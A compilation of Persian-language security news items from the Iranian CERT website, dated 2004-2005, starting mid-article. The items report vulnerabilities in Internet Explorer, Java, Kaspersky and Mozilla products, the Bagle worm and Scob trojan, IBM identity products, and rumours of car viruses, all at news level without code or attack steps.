این فناوری به عنوان بخشی از برنامه برای ایجاد سیستمهای امن و حفاظت از اطلاعات دیجیتالی است. شرکتهایی که در این زمینه فعالیت دارند بر روی روشهای گوناگونی جهت افزایش اطمینان از تایید هویت کار کرده اند که از آن جمله می توان به روشهای بیومتریک مانند خواندن اثر انگشت یا اسکنر عنبیه اشاره کرد. برای مثال مایکروسافت در این هفته صفحه کلیدی ارائه کرده است که امکان خواندن اثر انگشت را دارد.

بعضی فعالان حقوق دیجیتالی عقیده دارند که این فناوریها می تواند از جریان آزاد اطلاعات جلوگیری کند.

چیپ فوق الذکر در حال حاضر آماده است و در تعداد زیاد هر یک حدود 5 دلار قیمت دارد. گفته می شود تا سه ماهه آینده چیپ مربوط به نوت بوک نیز با قیمت حدود 7 دلار عرضه خواهد شد.

IBM این چیپ را به عنوان بخشی استاندارد از کامپیوترهای شخصی خود از امروز به کاربران عرضه می کند.


﻿ IRCERT - اخبار و هشدارها - IBM تایید هویت با محصول جدید

تایید هویت با محصول جدید IBM

8 مه 2005 - 18 اردیبهشت 1384

IBM امروز ابزار جدید امنیتی خود با نام Tivoli Federated Identity Manager‌را عرضه می کند که به یک شرکت اجازه می دهد تا اطلاعات را بین کارمندان، شرکا و مشتریانش بر روی اینترنت به صورت امن به اشتراک بگذارد.

اکتبر گذشته IBM با توجه به نیاز کاربران با Liberty Alliance ، یک کنسرسیوم امنیتی اینترنت که استانداردهای صنعتی برای تشخیص هویت فرد در هنگام دسترسی به سایتها را تولید می کند، متحد شد. TFIM اولین محصول این اتحاد است.

شناسه متحد به کارمندان، مشتریان و شرکا اجازه می دهد تا به سایت یک شرکت وارد شوند، شناسه خود را مورد تایید قرار دهند و سپس در هنگام دسترسی به سایت و شبکه سایر شرکتها از تاییدیه فوق استفاده کنند و شرکت تاییدکننده، هویت آنها را تضمین کند.

مدیریت شناسه متحد به کاربران اجازه خواهد داد تا برای سرویسهای داخلی و خارجی شرکت و برای تماس با هریک از شرکای شرکت که از TFIM استفاده می کنند، ثبت نام کنند

این محصول با بسیاری از استانداردهای شناسه متحد مانند Liberty، SAML، WS-Federation، WS-Security و WS-Trust سازگار است.

TFIM در این ماه میلادی به بازار عرضه خواهد شد.


﻿ IRCERT - و مقابله با جاسوسی - اخبارها و هشدارها IE7

IE7 و مقابله با جاسوسی

13 ژوئن 2005 - 23 خرداد 1384

مایکروسافت می گوید که نسخه جدید مرورگر مشهورش، ‌یعنی IE7،به گونه ای طراحی شده است که در برابر حملات جاسوسی و نرم افزارهای خطرناک مقاوم باشد.

راب فرانکو - مدیر ارشد امنیتی IE در مایکروسافت - در وبلاگ این شرکت اشاره کرده است که IE7 که با ویندوز Longhorn عرضه خواهد شد، مشخصه ای با عنوان low rights IE خواهد داشت. این مشخصه حقوق دسترسی مدیر سیستم را حذف می کند و لذا سیستم بدون اجازه صریح کاربر امکان نصب برنامه های ناشناس مانند برنامه های جاسوسی یا کدهای خطرناک دیگر را نخواهد داشت.

فرانکو گفته است:“ هنگامی که کاربران با حقوق دسترسی محدود خود برنامه ها را اجرا می کنند در خطر کمتری قرار دارند چون ویندوز می تواند انجام اعمال خطرناک توسط کدها و برنامه های مخرب را محدود کند. هر برنامه ای که کاربر دریافت و اجرا می کند، با استفاده از حفاظت حساب کاربر یا User Account Protection محدود می شود مگر این که کاربر به برنامه حقوق دسترسی مدیر سیستم را به طور صریح اعطا کند.“

فرانکو معتقد است که با محدود کردن حقوق مدیر سیستم برای وب گردان، کاربران حتی در زمانی که یک سایت خطرناک قصد نفوذ ار طریق یک حفره در مرورگر را دارد، محفوظ باقی می مانند.

وی اعلام کرده است که این مرورگر جدید برای ویندوز XP SP2 عرضه خواهد شد اما مشخصه low rights IE تنها در نسخه جدید ویندوز یعنی Longhorn ارائه می شود.


﻿ IRCERT - اخبار و هشدارها - IE بیشترین نفوذ از طریق حفره امنیتی

بیشترین نفوذ از طریق حفره امنیتی IE

2 نوامبر 2004 - 12 آبان 1383

بنا به گزارش شرکت امنیتی ScanSafe در سه ماهه دوم امسال بیشترین تعداد حملات از طریق حفره امنیتی IE انجام شده است.

این شرکت اعلام کرد که بیشترین حملات هک Exploit.HTML.Mht بوده است که با استفاده از یک حفره امنیتی موجود در مرورگر IE ، سعی می کند تا برنامه خطرناکی را دریافت و روی کامپیوتر قربانی نصب کند. بنابه گفته ScanSafe شرکتهای هدف قرار گرفته توسط این حفره دو برابر تعداد شرکتهای هدف قرار گرفته شده با کمک سایر حفره هاست.

روی تووی - مدیرعامل ScanSafe - می گوید:“چیزی که ما را متعجب کرده است، نرخ رشد تهدیدات است. تهدیدها در هر سه ماهه 15 درصد رشد داشته است و بیش از همه از حفره های مرورگرها جهت نفوذ استفاده می شود.“

21 درصد حملات ویروسی روزهای چهارشنبه اتفاق افتاده و 6 درصد در روزهای تعطیل آخر هفته بروز کرده است. این شرکت دلیل آن را تولد ویروسها در تعطیلات آخر هفته و گسترش آن طی هفته می داند.

محققان این شرکت می گویند که اسبهای تروا و کرمهای اینترنتی خطر جدی و مهمی به حساب می آیند، نفوذ از طریق حفره های امنیتی 19 درصد حملات را تشکیل می دهند و نرم افزارهای جاسوسی 12 درصد کل حملات را تشکیل می دهند.

بنا بر این گزارش 10 درصد از حملات روی سایتهای ایمیل صورت می پذیرد.


﻿ IRCERT - اخبار و هشدارها - IE تقویت رقبای

مشکل امنیتی IE باعث تقویت رقبا می شود

28 ژوئن 2004 – 8 تیر 1383

هفته گذشته یک مشکل امنیتی در مرورگر IE کشف شد که فرصتی طلایی را در اختیار رقبای این نرم افزار یعنی Mozilla و Opera قرار داد.

کشف این حفره باعث شد بعضی کارشناسان امنیتی به کاربران هشدار دهند تا برای مقابله با حملات احتمالی و جلوگیری از سرقت اطلاعات بعضی مشخصه های IE‌را غیرفعال کنند و یا برای ترمیم سریع ،به جای IE مرورگر دیگری را به کار بگیرند. هفته گذشته تعدادی هکر ناشناس با استفاده از این حفره کنترل چند وب سرور را در اختیار گرفتند تا بتوانند یک برنامه دسترسی از راه دور با نام JS.Scob.Trojan را روی کامپیوتر بازدیدکنندگان سایتها نصب کنند.

البته حمله گسترده هفته گذشته با از کار انداختن سرور روسی میزبان تروجان مذکور توسط کارشناسان امنیتی متوقف شده است و متخصصان اظهار امیدواری کرده اند که مایکروسافت هرچه سریعتر اصلاحیه خود را ارائه کند اما به هر حال وجود چنین حفره هایی می تواند شرکتها و حتی کاربران خانگی را به فکر استفاده از مرورگرهای دیگر بیاندازد.

بنابه گفته شرکت امنیتی Websense حداقل 130 سایت تلاش می کردند تا بازدیدکنندگان را آلوده کنند. گرچه هیچ یک از سرورها از وب سایتهای درجه یک نبودند اما همگی آنها IIS 5.0 را اجرا می کردند و SSL را برای رمزنگاری به کار می گرفتند.

هاکون ویوم لای – مدیر ارشد فناوری شرکت Opera – معتقد است از آنجا که مرورگرهای غیرمایکروسافتی مانند Opera ، Mozilla و Firefox تنها به امکاناتی برای مرور اینترنت بسنده کرده اند و به عبارت دیگر اندازه پروژه را کوچکتر نگهداشته اند ،‌ مشکلات امنیتی زیادی مانند IE ندارند. وی می گوید:“ هسته مرکزی مرورگر ما کوچک است و با برخوردی فعال با مشکلات امنیتی پیش آمده می توانیم مرورگری امن را عرضه کنیم.“ ایده این شرکتها با نظر مایکروسافت که قصد دارد IE را در سیستم عامل خود مجتمع کند کاملا متفاوت است.

از طرف دیگر بعضی کارشناسان امنیتی می گویند تنوع محصول امنیت را در مجموع بالا می برد چون هنگامی که تنها یک محصول به کار گرفته می شود ، وجود یک حفره در آن محصول تمامی کاربران را با خطر روبرو می کند. Mozilla نیز با تکیه بر همین تئوری استفاده از محصول این شرکت و یا Opera را تبلیغ می کند. بنا بر گزارش های ارائه شده در حال حاضر IE 95 درصد از بازار مرورگر را در اختیار دارد و تنها 3.5 درصد کاربران از Mozilla و 0.5 درصد از Opera استفاده می کنند. به عبارت دیگر هکرهایی که IE را به عنوان هدف قرار می دهند و برای حمله به آن برنامه نویسی می کنند می دانند که تقریبا تمامی کاربران را در معرض خطر قرار داده اند.


﻿ IRCERT - اخبار و هشدارها - IE آژیر قرمز برای کاربران

آژیر قرمز برای کاربران IE

7 ژانویه 2005 - 18 دی 1383

شرکت امنیتی Secunia هشدار داده است که وجود سه حفره امنیتی اصلاح نشده در مرورگر IE و انتشار یک کد نفوذ برای سوء استفاده از یکی از این حفره ها میزان تهدیدات علیه کاربران IE را افزایش داده است.

Secunia امروز اعلام کرد که درجه خطر حفره های امنیتی مرورگر مایکروسافت را به بالاترین میزان یعنی extremely crtitical افزایش داده است. این مشکلات که IE 6 را تحت تاثیر قرار می دهند، به یک هکر اجازه می دهند که برنامه های مورد نظر خود را روی کامپیوتر قربانی قرار دهد و اجرا کند.

کد نفوذ از طریق حفره موجود در یک HTML Help control روز 21 دسامبر سال گذشته روی اینترنت قرار گرفت.

به گفته یکی از مدیران Secunia زمانی یک حفره بالاترین درجه خطر را می گیرد که اولا کد نفوذ مربوط به آن منتشر شده باشد و ثانیا آن که نیازی به تعامل با کاربر نداشته باشد.

به گفته Secunia این کد نفوذ می تواند برای حمله به کامپیوترهای دارای سیستم عامل ویندوز XP حتی اگر SP2‌را نصب کرده باشند مورد استفاده قرار گیرد. این شرکت به کاربران پیشنهاد کرده است از مرورگر دیگری استفاده کنند و یا پشتیبانی Active X را در مرورگر IE‌غیرفعال کنند.

همچنین Secunia در راهنمایی خود به حفره دیگری در HTML Help control اشاره کرده است که درصورت ترکیب با مشکل امنیتی drag & drop می تواند برای حمله به کامپیوترها مورد استفاده قرار گیرد، البته این نفوذ نیاز به تعامل با کاربر خواهد داشت.

مایکروسافت از ماه اکتبر از این حفره ها اطلاع داشته اما تا به حال اصلاحیه ای عرضه نکرده است. سخنگوی این شرکت دلیل این تاخیر را کار گسترده جهت ارائه یک اصلاحیه کامل و کارا دانسته است. این شرکت به کاربران خود توصیه کرده است که از راهنماییهای این شرکت جهت مرور امن استفاده کنند و تنظیمات Internet security zone را در مرورگر خود به high افزایش دهند.

Secunia نیز به کاربران پیشنهاد کرده است که با مراجعه به سایت این شرکت از نفوذپذیری سیستم خود آگاه شوند.


﻿ IRCERT - مایکروسافت: اصلاحیه نمی دهیم! - اخبارها و هشدارها

مایکروسافت: اصلاحیه نمی دهیم!

23 ژوئن 2005 – 2 تیر 1384

مایکروسافت قصد ندارد اصلاحیه ای برای رفع مشکل امنیتی IE که باعث انجام حمله و فریب کاربران می شود، ارائه کند.

در این نوع حمله با کمک جاوا اسکریپت یک پنجره pop-up در مقابل یک سایت مورد اعتماد ظاهر می شود. در ظاهر این پنجره جدید بخشی از همان سایت قانونی است اما در واقع به یک سایت خطرناک مرتبط است. ممکن است یک کاربر فریب بخورد و اطلاعات شخصی خود را از این طریق برای نفوذگران ارسال کند.

بنابر راهنمایی امنیتی منتشر شده روی سایت مایکروسافت با وجودی که از پنجره های po-up می توان برای حمله و نفوذ استفاده کرد اما از نظر مایکروسافت پنجره های چندگانه یک امکان و مشخصه است نه یک حفره!

مایکروسافت در راهنمایی خود آورده است:“‌ این نمونه ای است که نشان می دهد چگونه عملکرد استاندارد مرورگر می تواند در حملات هویت ربایی مورد سوء‌استفاده قرار گیرد.“

اوایل این هفته شرکت امنیتی Secunia در این مورد این مشکل امنیتی هشدار داده بود اما درجه خطر آن را less critical ارزیابی کرده بود. به گفته Secunia اکثر مرورگرهای مهم تحت تاثیر این مشکل قرار دارند.

مشکل از آنجا ناشی می شود که دیالوگ باکسها در جاوا اسکریپت منبع خود را نشان نمی دهند. برای انجام این حمله باید کاربر پیش از رفتن به سایت مورد اعتماد مانند سایت بانک، یک سایت خطرناک را دیده باشد و یا روی لینکی کلیک کرده باشد. پس از آن حمله کننده می تواند بخشی از سایت مورد اعتماد را با پنجره ای جدید بپوشاند و از کاربر اطلاعاتی مانند نام کاربری و کلمه عبور را بخواهد. درصورتی که کاربر فریب بخورد و اطلاعات را وارد کند، هکر به جای بانک آن را دریافت خواهد کرد.

تولیدکنندگان Firefox‌سعی کرده اند تا با این مشکل مقابله کنند. در ماه آوریل اصلاحیه ای ارائه شد که به کاربر اجازه می دهد تا پنجره های pop-up جاوا یا فلش را که به منابع غیرمطمئن ارتباط دارند،‌بلوکه کند.

Opera نیز اعلام کرده است که نسخه اخیر این مرورگر، منبع pop-up را نیز نشان می دهد.


﻿ IRCERT - ویروسهای اینترنتی به کمک زیست شناسان می روند - اخبارها و هشدارها

ویروسهای اینترنتی به کمک زیست شناسان می روند

2 مارس 2005 - 12 اسفند 1383

روش گسترش ویروسهای اینترنتی به زیست شناسان و اکولوژیستها کمک می کند تا چگونگی حرکت آفات و حشرات در دنیای طبیعی را بفهمند.

دو اکولوژیست از دانشگاه ویندزور ایالت اونتاریو قصد دارند با استفاده از تئوری شبکه چگونگی مسافرت یک کک آبی (یک سخت پوست بسیار کوچک) روسی در دریاچه های کانادا بیابند.

مطابق با تئوری این دو دانشمند، دریاچه ها همانند نودهای به هم متصل در یک شبکه هستند که بعضی از نودها امکان آلودگی به ویروس را دارند. در این تئوری گسترش کک آبی با کمک قایق و یا سایر وسایل به گسترش ویروس با کمک ایمیل تشبیه شده است. این متخصصین قصد دارند با کمک این روش مشخص کنند که کدام دریاچه ها محل توزیع و گسترش کک آبی هستند. دریاچه ای که عمده خروجی آن به سمت مکانهای آلوده نشده باشد و ترافیک خروجی آن بالا باشد، جواب مسئله است. بنا بر بررسی های انجام شده دریاچه Muskoka محل آلوده سازی سایر 99 دریاچه است.

البته این اولین بار نیست که دانشمندان برای کمک به تحقیقات خود به تهدیدات اینترنتی روی آورده اند. در حال حاضر محققان استرالیایی با استفاده از فناوریهای ضداسپم و با کمک یادگیری ماشین سعی دارند تا الگوهای ژنتیکی که بنیان ویروس ایدز را قرار می دهند، شناسایی کنند.


﻿ IRCERT - آیا اینتل برای اپل امنیت بیشتری خواهد آورد؟ - اخبارها و هشدارها

آیا اینتل برای اپل امنیت بیشتری خواهد آورد؟

7 ژوئن 2005 - 17 خرداد 1384

متخصصان می گویند که شرکت کامپیوتری Apple به دلایل امنیتی به استفاده از چیپهای اینتل روی نیاورده است.

محققان و تحلیلگران امنیتی معتقدند که با وجود اینکه از این پس هسته سخت افزار کامپیوترهای مبتنی بر ویندوز با سخت افزار مکینتاش یکی خواهد بود، اما این سیستم عامل است که کامپیوترهای مایکروسافتی را در برابر حملات نفوذپذیر کرده است نه سخت افزار.

یکی از کارشناسان امنیتی می گوید:“ سیستم عامل مکینتاش از لحاظ امنیتی وجهه بهتری نسبت به ویندوز دارد. من فکر نمی کنم که استفاده از چیپهای اینتل تغییری در استحکام این سیستم عامل پدید آورد.“

تا به حال سیستم عامل مکینتاش در برابر حملات ویروسها و کرمهای اینترنتی که سیستمهای مایکروسافتی را کلافه کرده اند، مصون بوده اند. پیش از این Apple از پردازنده های شرکت Power PC برای کامپیوترهای خود استفاده می کرد.

از نظر تئوری وجود مشکلات امنیتی در نرم افزار سطح پایین مورد استفاده کامپیوترهای ویندوزی و مکینتاش ، مثلا BIOS سیستم ، و حمله از این طریق ممکن است اما چنین مشکلاتی به ندرت رخ می دهد. از طرف دیگر هنوز معلوم نیست که آیا Apple همان نرم افزار سطح پایین مورد استفاده کامپیوترهای ویندوزی را به کار خواهد گرفت یا خیر. هنوز مشخص نشده است که اینتل تا چه حد چیپهای خود را برای استفاده در محصولات Apple تغییر خواهد داد.

یکی از کارشناسان امنیتی در این باره می گوید:“ این حقیقت که مکینتاش روی همان پردازنده ای اجرا شود که ویندوز کار می کند، می تواند به این معنا باشد که بعضی کدها و برنامه ها می توانند روی هر دو اجرا شوند. اما من فکر نمی کنم که ویروس نویسان در آن سطح برنامه نویسی کنند لذا مشکلات امنیتی مشترکی وجود نخواهد داشت.“

محققان معتقدند که اکثر حملات مشکلات امنیتی سیستمهای عامل، برنامه ها و شبکه ها را هدف قرار می دهند و سراغ سخت افزار نمی روند، چون کار بسیار سختی است. ممکن است حفره هایی در BIOS وجود داشته باشد اما به ندرت پیش می آید. البته ممکن است مشکلاتی مانند نمونه ای که در فناوری hyperthreading چیپهای اینتل رخ داد، اتفاق بیافتد، اما کارشناسان این نگاه را بسیار بدبینانه می دانند.

البته استفاده از چیپهای اینتل باعث خواهد شد که کامپیوترهای Apple ارزانتر و لذا پرکاربردتر شوند که این امر باعث خواهد شد تا هکرها به محصولات این شرکت به عنوان یک هدف جدی تر بنگرند. همچنین از آنجایی که برنامه های مکینتاش برای کار روی بستر سخت افزاری جدید باید مجددا نوشته شوند، لذا برنامه نویسان باید مراقب مشکلات امنیتی کدهای خود باشند.


﻿ IRCERT - مشکل جاوا و حمله به ویندوز و لینوکس - اخبارها و هشدارها

مشکل جاوا و حمله به ویندوز و لینوکس

23 نوامبر 2004 - 3 آذر 1383

یک مشکل امنیتی در یک plug-in - که توسط شرکت Sun Microsystems تهیه شده است تا جاوا را بر روی مرورگرها و سیستم های عامل مختلف به اجرا درآورد- می تواند به یک ویروس اجازه دهد تا روی سیستم های عامل ویندوز و لینوکس گسترش یابد.

این حفره در ماه ژوئن توسط یک محقق فنلاندی کشف شده و ماه گذشته توسط Sun‌ پوشانده شده است، اما جزئیات آن تا امروز در اختیار عموم قرار نگرفته بود. Secunia طی یک راهنمایی امنیتی اطلاعاتی درباره این حفره منتشر کرده است و درجه خطر این مشکل را highly critical ارزیابی کرده است.

این plug-in به برنامه های کوچک وبی که به applet مشهورند امکان می دهد تا بر روی کامپیوتر کاربر به شکلی مطمئن اجرا شوند. اما حفره مزبور به یک وب سایت اجازه خواهد داد تا از طریق مرورگر قربانی دسترسی داشته باشد و از حفاظهای گفته شده عبور کند.

بنابه گفته محقق فنلاندی این حفره به هکر اجازه می دهد تا بدون نیاز به دخالت کاربر، کدی را بر روی سیستم وی اجرا کند و لذا در رده critical قرار می گیرد. وی می افزاید:“ همین حفره می تواند در سیستم عاملهای مختلف و مرورگرهای گوناگون مورد سوء استفاده قرار گیرد، ‌لذا اهمیت آن بیشتر می شود.“ برای مثال سیستم عاملهای ویندوز و لینوکس و مرورگرهای IE و Firefox که روی بسیاری از کامپیوترها نصب شده اند در برابر این حفره آسیب پذیرند. در راهنمایی امنیتی ارائه شده توسط این محقق فنلاندی آمده است:“ یک هکر می تواند با استفاده از این حفره هر آنچه را قربانیش انجام می داده، به انجام برساند. مثلا فایلها را تغییر دهد و یا اجرا کند، برنامه های دیگری را روی سیستم وی قرار دهد و یا اطلاعاتی را از سیستم وی به خارج ارسال کند.این حفره می تواند برای گسترش ویروسها مورد استفاده قرار گیرد.

Sun، Secunia و محقق مزبور هیچ یک درباره در معرض تهدید بودن سیستم عامل Mac که بر مبنای یونیکس است، اعلام نظری نکرده اند.


﻿ IRCERT - نفوذ هکرها از طریق حفره های جاوا - اخبارها و هشدارها

نفوذ هکرها از طریق حفره های جاوا

14 ژوئن 2005 - 24 خرداد 1383

شرکت Sun Microsystems یک جفت مشکل امنیتی موجود در جاوا را که به هکرها اجازه می داد تا کامپیوترهای با سیستم عامل ویندوز، لینوکس و سولاریس را در اختیار بگیرند، برطرف کرد.

Secunia طی یک راهنمایی امنیتی درجه خطر این حفره ها را highly critical اعلام کرده است. مشکلاتی که از سوی Secunia این درجه را می گیرند و در واقع یک سطح پایین تر از خطرناکترین حفره ها قرار دارند، امکان نفوذ از راه دور به سیستم را فراهم می کنند و سیستم را به طور کامل در اختیار هکر قرار می دهند.

هر دو مشکل Java Runtime Environment یا JRE‌را تحت تاثیر قرار می دهند. بسیاری از کاربران نرم افزار جاوا را روی سیستم خود دارند تا بتوانند برنامه های جاوا را اجرا کنند. Sun طی دو راهنمایی امنیتی جداگانه اعلام کرده است که این حفره ها به یک برنامه جاوا اجازه می دهد تا فایلهای سیستم قربانی را بخواند یا بنویسد و برنامه ها را روی سیستم وی اجرا کند.

یکی از این حفره ها یک مشکل عمومی در JRE است در حالی که دومی خاص Java Web Start - یک فناوری که امکان بارگذاری برنامه های جاوا را برو روی شبکه ای مانند اینترنت فراهم می کند- است.

Sun از سوء استفاده از این حفره ها و انجام هرگونه حمله ای از این طریق ابراز بی اطلاعی کرد.


﻿ IRCERT - کاسپرسکی مشکل ضدویروس را تایید کرد - اخبارها و هشدارها

کاسپرسکی مشکل ضدویروس را تایید کرد

4 اکتبر 2005 – 12 مهر 1384

آزمایشگاه کاسپرسکی امروز وجود یک مشکل خطرناک و جدی را در محصول ضدویروس خود تایید کرد اما وعده داد که به زودی یک اصلاحیه برای آن ارائه خواهد کرد.

این شرکت امنیتی اعلام کرد که اقدامات امنیتی اولیه را هفته گذشته به مشتریان خود ارائه کرده بود اما به زودی اصلاحیه آن را نیز منتشر می کند. کاسپرسکی اضافه کرده است که حفره فوق تنها در محصولات تحت ویندوز این شرکت وجود دارد. علاوه بر این اکثر محصولات شرکای این شرکت که از کد کاسپرسکی استفاده می کنند، نیز آلوده نیستند.

روز گذشته گزارش شد که یک هکر می تواند با استفاده از مشکل سرریز heap در محصولات کاسپرسکی، اختیار سیستم قربانی را در دست بگیرد.

کاسپرسکی در روز 24 سپتامبر از وجود این مشکل مطلع شده بود و پس از یک تحقیق اولیه، در روز 29 سپتامبر ضدویروسهای خود را به روز کرد تا مشتریان این شرکت در برابر حملات مصون باشند.

محصولات تحت تاثیر این مشکل عبارتند از: Anti-Virus Personal 5.0، Anti-Virus Personal Pro 5.0، Anti-Virus 5.0 for Windows Workstations، Anti-Virus 5.0 for Windows File Servers و Personal Security Suite 1.1.

به گفته تیم پاسخگویی وقایع امنیتی فرانسه یک هکر می تواند با ارسال یک فایل CAB تخریبگر از طریق ایمیل، حمله از راه دوری را تدارک ببیند. برای اجرای کد نیازی به دخالت کاربر نیست.


﻿ IRCERT - اخبار و هشدارها- Bagle گسترش موفق نسخه جدید

گسترش موفق نسخه جدید Bagle

15 جولای 2004 – 25 تیر 1383

شرکتهای ضدویروس امروز اعلام کردند که نسخه جدیدی از Bagle توسط خرابکاران اینترنتی منتشر شده است که طی 24 ساعت گذشته توانسته است به خوبی گسترش پیدا کند.

این ویروس که شرکتهای امنیتی آن را Bagle.AF‌ یا Beagle.AB معرفی کرده اند،مسیری را برای هکرها باز می کند تا ایمیلهای حجیم را از طریق کامپیوتر آلوده منتقل کنند و همچنین با یکی از 150 سایت آلمانی تحت کنترل تماس بگیرند تا میزان موفقیتهای خود را بدانند.

الیور فریدریک - مدیر ارشد بخش پاسخگویی امنیتی شرکت Symantec – این کرم را در کار خود موفق می داند و آن را قابل مقایسه با حملاتی همچون حمله MyDoom در اوایل امسال می داند. Symantec درجه خطر این کرم را 3 از 5 اعلام کرده است و McAfee میزان خطر آن را medium دانسته است. فریدریک معتقد است که این نسخه از Bagle ، یک کپی از نسخه های قبلی است. اولین نسخه از این کرم در ماه ژانویه منتشر شده بود.

Bagle.AF از طریق ایمیل و به عنوان فایل الحاقی وارد کامپیوتر می شود و در صورتی که کابر فایل را باز کند و سیستم عامل مورد استفاده ویندوز باشد ،‌کامپیوتر فرد آلوده می شود. برنامه سعی می کند تا اجرای بیش از 250 برنامه امنیتی را روی کامپیوتر قربانی متوقف کند، خود را به نشانی ایمیلهای موجود در کامپیوتر ارسال کند و با یکی از 141 سایت آلمانی تماس حاصل کند. این سایتها توسط این هکرها کنترل می شوند تا میزان موفقیت خود را در آلوده سازی کامپیوترهای مختلف اندازه گیری کنند و رکورد خود را ثبت کنند. با استفاده از این اطلاعات هکرها می توانند اسپمها را با کمک کامپیوترهای قربانی ارسال کنند. همچنین این ویروس یک در پشتی ( Backdoor )‌را برای مقاصد خاص روی کامپیوتر قربانی باز می کند.

بنابه گفته Symantec با وجودی که این کرم از یک روش قدیمی برای انتشار استفاده می کند اما بازهم موفق بوده است. فریدریک علت آن را اعتماد کاربران به فایلهای الحاقی و باز کردن آنها می داند. در واقع انسان خود باعث موفقیت این کرمهاست.


﻿ IRCERT - موزیلا هم امن نیست! - اخبارها و هشدارها

موزیلا هم امن نیست!

15 سپتامبر 2004 - 25 شهریور 1383

بنابه گفته بنیاد موزیلا آخرین نسخه ارائه شده از مرورگرهای Firefox و Mozilla و نرم افزار ایمیل Thunderbird 10 مشکل امنیتی را برطرف می کند که 3 مشکل مهم و جدی هستند.

بنابر اطلاعات منتشر شده توسط بنیاد موزیلا سه مشکل گفته شده می توانند به یک هکر اجازه دهند تا کدی را بر روی کامپیوتر قربانی اجرا کند. این حفره ها در اثر مدیریت نامناسب و نادرست کارتهای تجاری الکترونیکی که به vCard مشهورند، به وجود آمده اند. تصاویر بسیار بزرگ با فرمت BMP و لینکهای دارای اسامی میزبان با حروف غیرقابل چاپ از جمله مواردی هستند که در مدیریت این کارتها مشکل دارند.

این مشکلات در نسخه اخیر نرم افزارهای بنیاد موزیلا یعنی Mozilla 1.7.3 ، Firefox release candidate 1.0 و Thunderbird 0.8 برطرف شده اند.

شرکت امنیتی Secunia درجه خطر مجموعه این 10 حفره را highly critical یعنی دومین رتبه اهمیت قرار داده است.

این مجموعه از مسائل امنیتی یک ماه پس از آن آشکار می شود که بنیاد موزیلا اعلام کرد به محققانی که روی این مرورگر اشکالات امنیتی قابل اثبات بیایند جایزه نقدی می دهد.


﻿ IRCERT - خودروها هم ویروسی می شوند! - اخبارها و هشدارها

خودروها هم ویروسی می شوند!

26 ژانویه 2005 - 7 بهمن 1383

شرکتهای ضدویروس در حال بررسی گزارشهایی هستند که نشان می دهد ویروسهای کامپیوتری به کامپیوترهای درون خودروها نیز حمله کرده اند.

هفته گذشته از شرکت روسی Kaspersky سوالاتی درباره چگونگی پاکسازی کامپیوترهای درون خودروهای Lexus مدل LX470، LS430 و Landcruiser 100 پرسیده شد. به این شرکت گفته شده بود که به نظر می رسد آلودگی از طریق موبایل به کامپیوتر خودرو منتقل شده است.

بعضی ویروسهای موبایل مانند Cabir و Skulls که از طریق Bluetooth منتشر می شوند، می توانند گوشی هایی را که از سیستم عامل Symbian‌استفاده می کنند، آلوده کنند. بسیاری از خودروهای Lexus یک سیستم راهبری دارند که می تواند با استفاده از Bluetooth به یک موبایل متصل شوند و امکان تماس با hands-free را فراهم آورند. کاسپرسکی معتقد است که Bluetooth می تواند برای انتقال یک ویروس به سیستم راهبری GPS یک خودرو مورد استفاده قرار گیرد. البته هنوز مشخص نشده است که Lexus از چه سیستم عاملی استفاده می کند.

مدیر بخش تحقیقات کاسپرسکی در این باره می گوید:“ ما می دانیم که تولیدکنندگان خودرو در حال حاضر از سیستم عاملهای موجود برای کامپیوترهای درون خودرو استفاده می کنند که برای مثال می توان به قرارداد فیات و مایکروسافت اشاره کرد.“ وی می افزاید:“ اگر موبایلهای آلوده وحشتناک به نظر می رسند، کامپیوترهای آلوده درون خودروها را تصور فکر کنید.“

تحقیقات در این باره ادامه دارد.


﻿ IRCERT - ویروسی شدن خودروها تکذیب شد - اخبارها و هشدارها

ویروسی شدن خودروها تکذیب شد

17 فوریه 2005 - 29 بهمن 1383

شرکت خودروسازی Lexus امکان ویروسی شدن سیستم راهبری بعضی خودروهای این شرکت را که با Bluetooth کار می کنند، تکذیب کرد.

امروز شرکت F-Secure بر روی وبلاگ خود اعلام کرد که بیانیه ای از شرکت Lexus‌دریافت کرده است که شایعات موجود درباره وجود حفره امنیتی در خودروهای این شرکت را تکذیب می کند.

در ماه ژانویه شرکت امنیتی کاسپرسکی گزارشی را منتشر کرد که طی آن امکان ویروسی شدن خودروهای Lexus مورد بررسی قرار گرفته بود. البته کاسپرسکی اشاره کرده است که تا به حال هیچ خودرویی واقعا ویروسی نشده است.

Lexus در بیانیه خود تایید کرده است که سیستم راهبری خودروهایش یک سیستم عامل درونی دارد و از حافظه با دسترسی تصادفی ( RAM ) جهت ذخیره سازی اطلاعاتی مانند مقاصد اخیر و یا فهرست تلفن استفاده می کند. اما این شرکت خودروسازی گزارشهایی را که نشان می دهد سیستم عامل درون خودورها توسط Symbian ایجاد شده است ، تکذیب می کند. Symbian در برابر ویروس Cabir قابل نفوذ است. این ویروس در واقع اولین کرمی است که تلفنهای هوشمند را هدف قرار داده و با استفاده از امکان Bluetooth موجود در گوشی های دارای سیستم عامل Symbian سعی می کند سایر گوشی های Symbian را بیاید و خود را منتقل کند.

Lexus همچنین اعلام کرده است که با وجودی که واسط Bluetooth در سیستم راهبری خودروهای این شرکت از فناوری Object Push Protocol جهت دریافت فایل از گوشی های همراه استفاده می کنند، این مشخصه به صورت دستی تحت کنترل صاحب خودرو است.

F-Secure با توجه به بیانیه Lexus چنین نتیجه گیری کرده است که مشکل جدی صاحبان این خودروها را تهدید نمی کند. یکی از مشاوران ارشد کاسپرسکی نیز اعلام کرده است که بیانیه Lexus قابل قبول است اما ویروسهای آینده هوشمندانه تر عمل خواهند کرد و در آینده نه چندان دور امکلان آلودگی خودروها به ویروس وجود خواهد داشت.


﻿ IRCERT - رفع مشکل امنیتی پردازش فایلهای گرافیکی لینوکس - اخبارها و هشدارها

رفع مشکل امنیتی پردازش فایلهای گرافیکی لینوکس

8 دسامبر 2004 - 18 آذر 1383

مشکلات امنیتی متعددی که در کد لینوکس مربوط به نسخ قدیمی محیط GNOME وجود داشت، باعث می شد که یک هکر بتواند با نمایش یک فایل گرافیکی خطرناک در یک کامپیوتر،‌ کنترل آن را به دست بگیرد.

Secunia در راهنمایی امنیتی منتشر شده در روز سه شنبه‌ (دیروز) اشاره کرده است که این حفره ها در کتابخانه نرم افزاری Imlib قرار دارد. این کتابخانه و توابع آن برای مدیریت فایلهای تصویری به کار می روند.

